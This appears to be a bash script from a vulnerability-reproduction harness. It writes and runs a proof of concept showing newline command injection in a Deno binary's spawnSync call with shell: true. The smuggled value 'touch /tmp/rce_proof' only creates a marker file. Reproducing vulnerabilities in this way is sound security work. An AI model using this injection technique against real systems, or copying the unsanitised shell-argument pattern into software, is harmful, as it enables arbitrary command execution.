#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

# Path to vulnerable Deno binary
DENO_BIN="$ROOT/repro/deno"

if [[ ! -f "$DENO_BIN" ]]; then
    echo "ERROR: Deno binary not found at $DENO_BIN"
    exit 1
fi

echo "Using Deno version:"
"$DENO_BIN" --version

# Create the PoC JavaScript file
cat > "$ROOT/repro/poc.mjs" << 'EOF'
import { spawnSync } from "node:child_process";
import * as fs from "node:fs";

// Cleanup any existing marker file
try { fs.unlinkSync('/tmp/rce_proof'); } catch {}

// Create legitimate script
fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");');

// Malicious input with newline injection
const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`;

// Vulnerable pattern - shell: true with unsanitized input in args
spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {
  shell: true,
  encoding: 'utf-8'
});

// Verify if the exploit worked
const exploitWorked = fs.existsSync('/tmp/rce_proof');
console.log('Exploit worked:', exploitWorked);

if (exploitWorked) {
    console.log("VULNERABILITY CONFIRMED: Command injection via newline in shell argument");
    Deno.exit(0);  // Exit 0 to indicate vulnerability confirmed
} else {
    console.log("Vulnerability NOT confirmed - injection was blocked");
    Deno.exit(1);  // Exit 1 to indicate vulnerability NOT present
}
EOF

echo ""
echo "Running PoC exploit..."
cd "$ROOT/repro"
"$DENO_BIN" run --allow-all poc.mjs
EXIT_CODE=$?

# Capture results
echo ""
if [[ $EXIT_CODE -eq 0 ]]; then
    echo "=== RESULT: VULNERABILITY CONFIRMED ===" 
    echo "The newline command injection vulnerability is present in this version."
    echo "Evidence: /tmp/rce_proof file was created via shell injection."
    ls -la /tmp/rce_proof 2>/dev/null || true
    echo ""
    echo "exit_code: 0" > "$LOGS/result.txt"
else
    echo "=== RESULT: VULNERABILITY NOT PRESENT ==="
    echo "The exploit was blocked - this version appears to be patched."
    echo ""
    echo "exit_code: 1" > "$LOGS/result.txt"
fi

exit $EXIT_CODE
